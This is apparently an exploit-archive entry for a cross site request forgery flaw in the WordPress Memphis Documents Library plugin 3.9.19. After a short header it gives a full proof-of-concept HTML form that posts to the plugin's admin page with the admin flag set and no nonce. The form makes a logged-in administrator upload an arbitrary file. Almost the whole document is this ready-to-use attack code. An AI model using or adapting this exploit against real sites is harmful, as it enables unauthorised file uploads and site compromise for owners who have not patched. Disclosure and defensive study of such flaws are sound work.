WordPress Memphis Documents Library plugin version 3.9.19 suffers from a cross site request forgery vulnerability.
8eb5cfcb4bd543d3bca72edeb4ef69ea# Exploit Title: WordPress Plugin Memphis Documents Library 3.9.19 - Cross Site Request Forgery (Arbitrary File Add)
# Exploit Author: Mr Winst0n
# Author E-mail: [email protected]
# Discovery Date: May 22, 2019
# Software Link : https://wordpress.org/plugins/memphis-documents-library/
# Tested Version: 3.9.19
# Tested on: Parrot OS, Wordpress 5.1.1
# PoC:
<form class="form-horizontal" enctype="multipart/form-data" action="http://localhost/[PATH]/wp-admin/admin.php?page=memphis-documents.php&mdocs-cat=&mdocs-cat=mdocuments" method="POST" id="mdocs-add-update-form">
<input type="hidden" name="mdocs-current-user" value="phpmyadmin">
<input type="hidden" name="mdocs-type" value="mdocs-add">
<input type="hidden" name="mdocs-index" value="">
<input type="hidden" name="mdocs-cat" value="">
<input type="hidden" name="mdocs-pname" value="">
<!--<input type="hidden" name="mdocs-nonce" value="" />-->
<input type="hidden" name="mdocs-post-status-sys" value="">
<input type="hidden" name="mdocs-permalink" value="admin.php?page=memphis-documents.php&mdocs-cat=">
<input type="hidden" name="mdocs-is-admin" value="1">
<div class="well well-lg">
<div class="page-header">
<h2>File Properties</h2>
</div>
<div class="form-group form-group-lg has-success">
<label class="col-sm-2 control-label" for="mdocs-name">Name</label>
<div class="col-sm-10">
<input class="form-control" type="text" name="mdocs-name" id="mdocs-name">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs">File Uploader</label>
<div class="col-sm-10">
<input class="form-control" type="file" name="mdocs">
<p class="help-block" id="mdocs-current-doc"></p>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-folder">Folder</label>
<div class="col-sm-10">
<select class="form-control" name="mdocs-cat">
<option value="mdocuments" selected="selected">Documents</option> </select>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-version">Version</label>
<div class="col-sm-10">
<input class="form-control" type="text" name="mdocs-version" value="">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-date">Date</label>
<div class="col-sm-10">
<input class="form-control" type="text" name="mdocs-last-modified" value="">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-file status">File Status</label>
<div class="col-sm-10">
<select class="form-control input-lg" name="mdocs-file-status" id="mdocs-file-status">
<option value="public">Public - [ Everyone can view this file ]</option>
<option value="hidden">Private - [ Only you can view this file ]</option>
</select>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-post status">Post Status</label>
<div class="col-sm-10">
<select class="form-control input-lg" name="mdocs-post-status" id="mdocs-post-status">
<option value="publish">Published</option>
<option value="private">Private</option>
<option value="pending">Pending Review</option>
<option value="draft">Draft</option>
</select>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-show social apps">Show Social Apps</label>
<div class="col-sm-10">
<input class="form-control" type="checkbox" name="mdocs-social" checked="">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-downloadable by non members">Downloadable By Non Members</label>
<div class="col-sm-10">
<input class="form-control" type="checkbox" name="mdocs-non-members" checked="">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-contributors">Contributors</label>
<div class="col-sm-10">
<div class="mdocs-add-contributor-container" data-contributor-type="add-update">
<div class="mdocs-contributors-container">
<button type="button" class="btn btn-primary" id="mdocs-current-owner"><i class="fa fa-user" aria-hidden="true"></i> phpmyadmin</button>
<input type="hidden" value="phpmyadmin" id="mdocs-owner-value"></div>
<input autocomplete="off" class="form-control mdocs-add-contributors" type="text" name="mdocs-add-contributors" placeholder="Add contributor, users and roles types are allowed.">
<div class="mdocs-user-search-list hidden"></div>
</div>
</div>
</div>
<input type="hidden" name="mdocs-real-author" value="">
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-tags">Tags</label>
<div class="col-sm-10">
<input class="form-control" type="text" name="mdocs-tags" id="mdocs-tags" placeholder="Comma Separated List">
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-categories">Categories</label>
<div class="col-sm-10">
<select multiple="" class="form-control" name="mdocs-categories[]" id="mdocs-post-categories">
<option value="Uncategorized">Uncategorized</option> </select>
</div>
</div>
<div class="form-group form-group-lg">
<label class="col-sm-2 control-label" for="mdocs-description">Description</label>
<div class="col-sm-10">
<div id="wp-mdocs-desc-wrap" class="wp-core-ui wp-editor-wrap tmce-active"><link rel="stylesheet" id="dashicons-css" href="http://localhost/lab/wordpress/wp-includes/css/dashicons.min.css?ver=5.1.1" type="text/css" media="all">
<link rel="stylesheet" id="editor-buttons-css" href="http://localhost/lab/wordpress/wp-includes/css/editor.min.css?ver=5.1.1" type="text/css" media="all">
<style>display: none;</style>
<div id="wp-mdocs-desc-editor-tools" class="wp-editor-tools hide-if-no-js"><div class="wp-editor-tabs"><button type="button" id="mdocs-desc-tmce" class="wp-switch-editor switch-tmce" data-wp-editor-id="mdocs-desc">Visual</button>
<button type="button" id="mdocs-desc-html" class="wp-switch-editor switch-html" data-wp-editor-id="mdocs-desc">Text</button>
</div>
</div>
</div>
</div>
</div>
<input type="submit" class="btn btn-primary" id="mdocs-save-doc-btn" value="Add Document">
</form>